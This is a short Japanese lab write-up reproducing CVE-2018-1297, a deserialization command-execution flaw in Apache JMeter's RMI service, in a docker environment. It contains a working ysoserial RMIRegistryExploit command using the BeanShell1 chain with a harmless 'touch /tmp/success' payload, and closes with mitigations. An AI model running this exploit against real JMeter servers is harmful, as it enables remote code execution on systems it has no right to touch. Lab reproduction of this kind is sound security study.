Jmeter RMI デシリアライズ コマンド実行脆弱性 (CVE-2018-1297)
Apache JMeterは、アメリカのApache Software FoundationがストレステストおよびパフォーマンステストのためにJava言語で作成したオープンソースソフトウェアセットです。
2.xおよび3.xバージョンにはデシリアライズ脆弱性が存在し、攻撃者はこの脆弱性を悪用して対象サーバー上で任意のコマンドを実行できます。
脆弱性環境の実行:
私はKali Linuxでdockerを使用しました。
実行が完了すると、RMIサービスが起動し、ポート1099をリッスンします。
脆弱性:
ysoserialを直接使用して脆弱性攻撃を実行します。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success’
上記のようなコマンドを入力します。
BeanShell1というエクスプロイトチェーンを使用しました。
docker compose exec jmeter bash
を使用してコンテナに入ると、'/tmp/success'が正常に作成されたことがわかります。

整理
この脆弱性は、Javaベースのアプリケーションで発生する可能性のあるRMI(Remote Method Invocation)脆弱性を悪用するものです。
ここで使用された‘ysoserial-0.0.6-SNAPSHOT-all.jar’はysoserialプロジェクトの一部であり、Javaのシリアライズ脆弱性を悪用してリモートコード実行を可能にするペイロードを生成するために使用されます。
このペイロードは、/tmp/successのようなコマンドを実行する目的を持っており、この脆弱性を通じて攻撃者はリモートシステム上で任意のコマンドを実行したり、システムファイルを改ざんしたりすることができます。
この脆弱性を防ぐための対策としては、RMIサービスのアクセス制限、厳格な権限制御、Javaシリアライズフィルタリングなどがあります。